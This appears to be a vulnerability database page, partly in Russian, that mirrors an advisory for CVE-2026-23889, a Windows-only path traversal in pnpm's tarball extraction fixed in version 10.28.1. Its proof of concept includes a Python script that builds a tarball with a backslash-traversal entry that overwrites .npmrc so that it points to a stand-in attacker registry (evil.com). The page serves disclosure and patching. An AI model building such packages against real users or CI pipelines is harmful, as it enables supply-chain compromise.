GHSA-6x96-7vc8-cm3p

Опубликовано: 26 янв. 2026

Источник: github

Github: Прошло ревью

CVSS3: 6.5

Описание

pnpm has Windows-specific tarball Path Traversal

Summary

A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details

1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

if (fileName.includes('./')) { fileName = path.posix.join('/', fileName).slice(1) }

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

On Unix: Backslashes are literal filename characters (safe)
On Windows: Backslashes are directory separators (exploitable)

PoC

Create a malicious tarball with entry package/foo\..\..\.npmrc
Host it or use as a tarball URL dependency
On Windows: pnpm install
Observe .npmrc written outside package directory

import tarfile, io tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar: pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}' pkg_info = tarfile.TarInfo(name='package/package.json') pkg_info.size = len(pkg_json) tar.addfile(pkg_info, io.BytesIO(pkg_json)) malicious_content = b'registry=https://evil.com/\n' mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc') mal_info.size = len(malicious_content) tar.addfile(mal_info, io.BytesIO(malicious_content)) with open('malicious-pkg-1.0.0.tgz', 'wb') as f: f.write(tar_buffer.getvalue())

Impact

Windows pnpm users
Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @ commit 5a0ed1d45.

Ссылки

Пакеты

Наименование

pnpm

npm

Затронутые версииВерсия исправления

< 10.28.1

10.28.1

EPSS

Процентиль: 11%

0.00037

Низкий

6.5 Medium

CVSS3

CVE ID

CVE-2026-23889

Дефекты

CWE-22

Связанные уязвимости

CVE-2026-23889

CVSS3: 6.5

nvd

8 дней назад

pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\`. On Windows, backslashes are directory separators, enabling path traversal. This vulnerability is Windows-only. This issue impacts Windows pnpm users and Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps). It can lead to overwriting `.npmrc`, build configs, or other files. Version 10.28.1 contains a patch.

CVE-2026-23889

CVSS3: 6.5

debian

8 дней назад

pnpm is a package manager. Prior to version 10.28.1, a path traversal ...

BDU:2026-01030

CVSS3: 6.5

fstec

19 дней назад

Уязвимость менеджера пакетов pnpm, связанная с неверным ограничением имени пути к каталогу с ограниченным доступом, позволяющая нарушителю записывать произвольные файлы

EPSS

Процентиль: 11%

0.00037

Низкий

6.5 Medium

CVSS3

CVE ID

CVE-2026-23889

Дефекты

CWE-22